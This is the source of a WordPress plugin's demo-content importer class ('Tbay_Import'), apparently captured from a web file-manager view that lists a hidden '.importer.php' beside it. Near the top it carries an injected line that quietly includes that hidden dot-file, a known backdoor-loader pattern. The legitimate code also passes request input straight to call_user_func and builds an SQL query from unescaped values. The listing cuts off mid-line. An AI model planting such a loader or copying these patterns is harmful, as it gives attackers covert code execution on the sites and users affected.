PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
tbay-elementor
/
importer
<?php /** * Importer for tbay themer * * @package tbay-framework * @author Team Thembays <tbaythemes@gmail.com > * @license GNU General Public License, version 3 * @copyright 2015-2016 Tbay Themer */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Tbay_Import { public $errors = array(); public $sucess = array(); public $steps = array( 'first_settings' => 'redux_option', 'redux_option' => 'content', 'content' => 'widgets', 'widgets' => 'settings', 'settings' => 'revslider', 'revslider' => 'done' ); public $steps_config = array( 'first_settings2' => 'redux_option2', 'redux_option2' => 'widgets2', 'widgets2' => 'settings2', 'settings2' => 'done', ); public function __construct() { define( 'TBAY_IMPORT_CONFIG_DIR', get_template_directory() . '/inc/samples/' ); $demo_data_file_path = TBAY_IMPORT_CONFIG_DIR . 'sample-data.php'; if ( is_file( $demo_data_file_path ) ) { require $demo_data_file_path; } if ( isset($demo_import_base_dir) ) { define( 'TBAY_IMPORT_SAMPLES_DIR', $demo_import_base_dir ); } else { define( 'TBAY_IMPORT_SAMPLES_DIR', get_template_directory() . '/inc/samples/' ); } define( 'TBAY_RECOMMEND_MEMORY_LIMIT', 268435456 ); define( 'TBAY_RECOMMEND_EXECUTION_TIME', - 1 ); define( 'TBAY_RECOMMEND_PHP_VERSION', '5.6.3' ); define( 'TBAY_RECOMMEND_POST_MAX_SIZE', 33554432 ); define( 'TBAY_RECOMMEND_UPLOAD_MAX_FILESIZE', 33554432 ); add_action('admin_menu', array( &$this, 'create_admin_menu' ) ); add_action( 'wp_ajax_tbay_import_sample', array( $this, 'import_sample' ) ); add_action( 'admin_init', array( $this, 'get_remote_sampledata') ); } public function create_admin_menu() { add_submenu_page( 'tools.php', __( 'Tbay Demo Import', 'tbay-elementor' ), __( 'Tbay Demo Import', 'tbay-elementor' ), 'manage_options', 'tbay-import-demo', array( $this, 'tbay_page_content' ) ); } public function get_remote_sampledata() { if ( isset($_GET['doaction']) && $_GET['doaction'] == 'download-sample' ) { if ( !is_dir(TBAY_IMPORT_SAMPLES_DIR) ) { mkdir(TBAY_IMPORT_SAMPLES_DIR, 0777); } $theme_info = wp_get_theme(); $source = isset($_GET['source']) ? $_GET['source'] : ''; $theme_name = $theme_info->get( 'TextDomain' ) . (!empty($source) ? '-'.$source : ''); if ( $theme_name ) { $lpackage = TBAY_IMPORT_SAMPLES_DIR.'samples.zip'; $remote_file = 'https://bitbucket.org/devthembay/update-plugin/raw/master/demosamples/'.$theme_name.'.zip'; $data = file_get_contents( $remote_file ); $file = fopen( $lpackage, "w+" ); fputs($file, $data); fclose($file); if ( file_exists($lpackage) ) { WP_Filesystem(); unzip_file( $lpackage , TBAY_IMPORT_SAMPLES_DIR ); } @unlink( $lpackage ); wp_redirect( admin_url('tools.php?page=tbay-import-demo') ); } } } public function import_sample() { @ini_set( 'max_execution_time', '1200' ); @ini_set( 'post_max_size', '64M'); $demo_source = isset($_REQUEST['demo_source']) ? $_REQUEST['demo_source'] : ''; $import_type = isset($_REQUEST['import_type']) ? $_REQUEST['import_type'] : ''; $ajax = isset($_REQUEST['ajax']) ? $_REQUEST['ajax'] : ''; $res = array(); if ( $demo_source && $import_type ) { $fnc_call = 'import_'.$import_type; $res = call_user_func(array($this, $fnc_call), $demo_source); } echo json_encode($res); die(); } public function outputJson( $status, $msg, $log = '', $loop = false ) { $res = array( 'status' => $status, 'msg' => $mgs, 'log' => $log, 'loop' => $loop, 'loopnumber' => 0 ); $import_type = isset($_REQUEST['import_type']) ? $_REQUEST['import_type'] : ''; if ($loop) { $res['next'] = $import_type; } else { $res['next'] = isset($this->steps[$import_type]) ? $this->steps[$import_type] : 'error'; } return $res; } public function outputJson2( $status, $msg, $log = '', $loop = false ) { $res = array( 'status' => $status, 'msg' => $mgs, 'log' => $log, 'loop' => $loop, 'loopnumber' => 0 ); $import_type = isset($_REQUEST['import_type']) ? $_REQUEST['import_type'] : ''; if ($loop) { $res['next'] = $import_type; } else { $res['next'] = isset($this->steps_config[$import_type]) ? $this->steps_config[$import_type] : 'error'; } return $res; } /** * Import Redux Option */ public function import_redux_option($source) { // return $this->outputJson( true, __("Import Redux Options Error", "tbay-framework"), $log ); $file = TBAY_IMPORT_SAMPLES_DIR.'data/'.$source.'/redux_options.json'; if ( file_exists($file) ) { $datas = file_get_contents( $file ); $datas = json_decode( $datas, true ); $theme_info = wp_get_theme(); $source = isset($_GET['source']) ? $_GET['source'] : ''; $theme_name = $theme_info->get( 'TextDomain' ) . (!empty($source) ? '-'.$source : ''); $redux_framework = \ReduxFrameworkInstances::get_instance( ''.$theme_name.'_tbay_theme_options' ); if ( isset( $redux_framework->args['opt_name'] ) ) { // Import Redux settings. $redux_framework->set_options( $datas ); return $this->outputJson( true, __("Import Redux Options Successful", "tbay-framework"), $log ); } } return $this->outputJson( false, __("Import Redux Options Error", "tbay-framework"), $log ); } /** * Import Redux Option */ public function import_redux_option2($source) { // return $this->outputJson( true, __("Import Redux Options Error", "tbay-framework"), $log ); $file = TBAY_IMPORT_SAMPLES_DIR.'data/'.$source.'/redux_options.json'; if ( file_exists($file) ) { $datas = file_get_contents( $file ); $datas = json_decode( $datas, true ); $theme_info = wp_get_theme(); $source = isset($_GET['source']) ? $_GET['source'] : ''; $theme_name = $theme_info->get( 'TextDomain' ) . (!empty($source) ? '-'.$source : ''); $redux_framework = \ReduxFrameworkInstances::get_instance( ''.$theme_name.'_tbay_theme_options' ); if ( isset( $redux_framework->args['opt_name'] ) ) { // Import Redux settings. $redux_framework->set_options( $datas ); return $this->outputJson2( true, __("Import Redux Options Successful", "tbay-framework"), $log ); } } return $this->outputJson2( false, __("Import Redux Options Error", "tbay-framework"), $log ); } /** * Import first settings */ public function import_first_settings($source) { $file = TBAY_IMPORT_SAMPLES_DIR.'data/'.$source.'/first_settings.json'; if ( file_exists($file) ) { $datas = file_get_contents( $file ); $datas = json_decode( $datas, true ); if ( count( array_filter( $datas ) ) < 1 ) { return $this->outputJson( false, esc_html__( 'Data is error! file: ', 'tbay-elementor') . $file, '' ); } foreach ($datas as $key => $options) { if ( $key == 'page_options' ) { $this->import_page_options($options); } } } return $this->outputJson( true, __("Import First Settings Successful", "tbay-framework"), $log ); } /** * Import first settings */ public function import_first_settings2($source) { $file = TBAY_IMPORT_SAMPLES_DIR.'data/'.$source.'/first_settings.json'; if ( file_exists($file) ) { $datas = file_get_contents( $file ); $datas = json_decode( $datas, true ); if ( count( array_filter( $datas ) ) < 1 ) { return $this->outputJson2( false, esc_html__( 'Data is error! file: ', 'tbay-elementor') . $file, '' ); } foreach ($datas as $key => $options) { if ( $key == 'page_options' ) { $this->import_page_options($options); } } } return $this->outputJson2( true, __("Import First Settings Successful", "tbay-framework"), $log ); } /** * Import data sample from xml. */ public function import_content($source) { session_start(); $return = apply_filters( 'tbay_themer_cancel_import_content', false ); if ( $return ) { $data = $this->outputJson( true, '' ); } $file_name = apply_filters( 'tbay_themer_get_xml_file_name', 'data.xml' ); $sources = explode( '/', $source ); $source_parent = $sources[0]; $path = TBAY_IMPORT_SAMPLES_DIR.'data/'.$source_parent.'/'.$file_name; if ( file_exists($path) ) { if (!class_exists('WP_Importer')) { $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php'; if ( file_exists( $class_wp_importer ) ) { require_once( $class_wp_importer ); } } ob_start(); require_once TBAY_ELEMENTOR_DIR . 'importer/wordpress-importer.php'; $tbay_import = new WP_Import(); if( !isset($_SESSION['importpostcount']) ){ $_SESSION['importpoststart'] = 0; $_SESSION['importpostcount'] = 0; if( method_exists("deleteCaches", $tbay_import)){ $this->deleteCaches(); } } set_time_limit(0); $tbay_import->fetch_attachments = true; $returned_value = $tbay_import->import($path); $log = ob_get_clean(); $data = $this->outputJson( true, '', $log, !$returned_value ); $data['loopnumber'] = $_SESSION['importpostcount']; if( $returned_value == true ){ unset( $_SESSION['importpoststart'] ); unset( $_SESSION['importpoststart'] ); } $this->res_json = $data; return $this->res_json; } else { $data = $this->outputJson( false, __("Error loading data.xml file", "tbay-framework"), '' ); } $this->res_json = $data; return $this->res_json; } public function import_widgets( $source ){ $file = TBAY_IMPORT_SAMPLES_DIR.'data/'.$source.'/widgets.json'; $res = array(); if ( file_exists($file) ) { $datas = file_get_contents( $file ); $options = json_decode( $datas, true ); if( $options['widgets'] ){ foreach ( (array) $options['widgets'] as $id_widget => $widget_data ) { update_option( 'widget_' . $id_widget, $widget_data ); } return $this->import_sidebars_widgets($options); } } else { return $this->outputJson( false, __("Error loading widgets.json file", "tbay-framework"), '' ); } return $this->outputJson( true, __("Widgets imported successfully", "tbay-framework"), '' ); } public function import_widgets2( $source ){ $file = TBAY_IMPORT_SAMPLES_DIR.'data/'.$source.'/widgets.json'; $res = array(); if ( file_exists($file) ) { $datas = file_get_contents( $file ); $options = json_decode( $datas, true ); if( $options['widgets'] ){ foreach ( (array) $options['widgets'] as $id_widget => $widget_data ) { update_option( 'widget_' . $id_widget, $widget_data ); } return $this->import_sidebars_widgets2($options); } } else { return $this->outputJson2( false, __("Error loading widgets.json file", "tbay-framework"), '' ); } return $this->outputJson2( true, __("Widgets imported successfully", "tbay-framework"), '' ); } public function import_sidebars_widgets( $options ) { $sidebars = get_option("sidebars_widgets"); unset($sidebars['array_version']); if ( is_array($options['sidebars']) ) { $sidebars = array_merge( (array) $sidebars, (array) $options['sidebars'] ); unset($sidebars['wp_inactive_widgets']); $sidebars = array_merge(array('wp_inactive_widgets' => array()), $sidebars); $sidebars['array_version'] = 2; wp_set_sidebars_widgets($sidebars); } else { return $this->outputJson( false, __("Missing widgets data", "tbay-framework"), '' ); } return $this->outputJson( true, __("Import Sidebars Widgets Successful", "tbay-framework"), $log ); } public function import_sidebars_widgets2( $options ) { $sidebars = get_option("sidebars_widgets"); unset($sidebars['array_version']); if ( is_array($options['sidebars']) ) { $sidebars = array_merge( (array) $sidebars, (array) $options['sidebars'] ); unset($sidebars['wp_inactive_widgets']); $sidebars = array_merge(array('wp_inactive_widgets' => array()), $sidebars); $sidebars['array_version'] = 2; wp_set_sidebars_widgets($sidebars); } else { return $this->outputJson2( false, __("Missing widgets data", "tbay-framework"), '' ); } return $this->outputJson2( true, __("Import Sidebars Widgets Successful", "tbay-framework"), $log ); } /** * Import data to revolutions */ public function import_revslider($source) { if ( ! class_exists( 'RevSliderAdmin' ) ) { require( RS_PLUGIN_PATH . '/admin/revslider-admin.class.php' ); } if ( is_dir(TBAY_IMPORT_SAMPLES_DIR . 'data/revslider/') ) { $path = TBAY_IMPORT_SAMPLES_DIR . 'data/revslider/'; } else { $sources = explode( '/', $source ); $source_parent = $sources[0]; $path = TBAY_IMPORT_SAMPLES_DIR . 'data/' . $source_parent . '/revslider/'; } if ( is_dir($path) ) { $rev_files = glob( $path . '*.zip' ); if (!empty($rev_files)) { ob_start(); foreach ($rev_files as $rev_file) { $_FILES['import_file']['error'] = UPLOAD_ERR_OK; $_FILES['import_file']['tmp_name']= $rev_file; $slider = new RevSlider(); $slider->importSliderFromPost( true, true ); } ob_get_clean(); } } else { return $this->outputJson( false, esc_html__( 'revslider folder is not exists! folder: ', 'tbay-elementor') . $path, '' ); } return $this->outputJson( true, __("Import Slider", "tbay-framework"), $log ); } public function import_settings($source) { $file = TBAY_IMPORT_SAMPLES_DIR.'data/'.$source.'/settings.json'; $res = array(); if ( file_exists($file) ) { $datas = file_get_contents( $file ); $datas = json_decode( $datas, true ); if ( count( array_filter( $datas ) ) < 1 ) { return $this->outputJson( false, esc_html__( 'Data is error! file: ', 'tbay-elementor') . $file, '' ); } if ( !empty($datas['page_options']) ) { $this->import_page_options($datas['page_options']); } if ( !empty($datas['metadata']) ) { $this->import_some_metadatas($datas['metadata']); } if ( !empty($datas['menu']) ) { $this->import_menu($datas['menu']); } } else { return $this->outputJson( false, esc_html__( 'File is not exists! file:', 'tbay-elementor') . $file, '' ); } return $this->outputJson( true, __("Import Settings Successful", "tbay-framework"), $log ); } public function import_settings2($source) { $file = TBAY_IMPORT_SAMPLES_DIR.'data/'.$source.'/settings.json'; $res = array(); if ( file_exists($file) ) { $datas = file_get_contents( $file ); $datas = json_decode( $datas, true ); if ( count( array_filter( $datas ) ) < 1 ) { return $this->outputJson2( false, esc_html__( 'Data is error! file: ', 'tbay-elementor') . $file, '' ); } if ( !empty($datas['page_options']) ) { $this->import_page_options($datas['page_options']); } if ( !empty($datas['metadata']) ) { $this->import_some_metadatas($datas['metadata']); } if ( !empty($datas['menu']) ) { $this->import_menu($datas['menu']); } } else { return $this->outputJson2( false, esc_html__( 'File is not exists! file:', 'tbay-elementor') . $file, '' ); } return $this->outputJson2( true, __("Import Settings Successful", "tbay-framework"), $log ); } public function import_menu($datas) { global $wpdb; $terms_table = $wpdb->prefix . "terms"; if ( $datas ) { $menu_array = array(); foreach ($datas as $registered_menu => $menu_slug) { $term_rows = $wpdb->get_results("SELECT * FROM $terms_table where slug='{$menu_slug}'", ARRAY_A); if(isset($term_rows[0]['term_id'])) { $term_id_by_slug = $term_rows[0]['term_id']; } else { $term_id_by_slug = null; } $menu_array[$registered_menu] = (int)$term_id_by_slug; } set_theme_mod('nav_menu_locations', $menu_array ); } } public function import_page_options($datas) { if ( $datas ) { foreach ($datas as $option_name => $page_id) { update_option( $option_name, $pa
[+]
..
[-] wordpress-importer.php
[edit]
[-] parsers.php
[edit]
[-] .importer.php
[edit]
[-] import.php
[edit]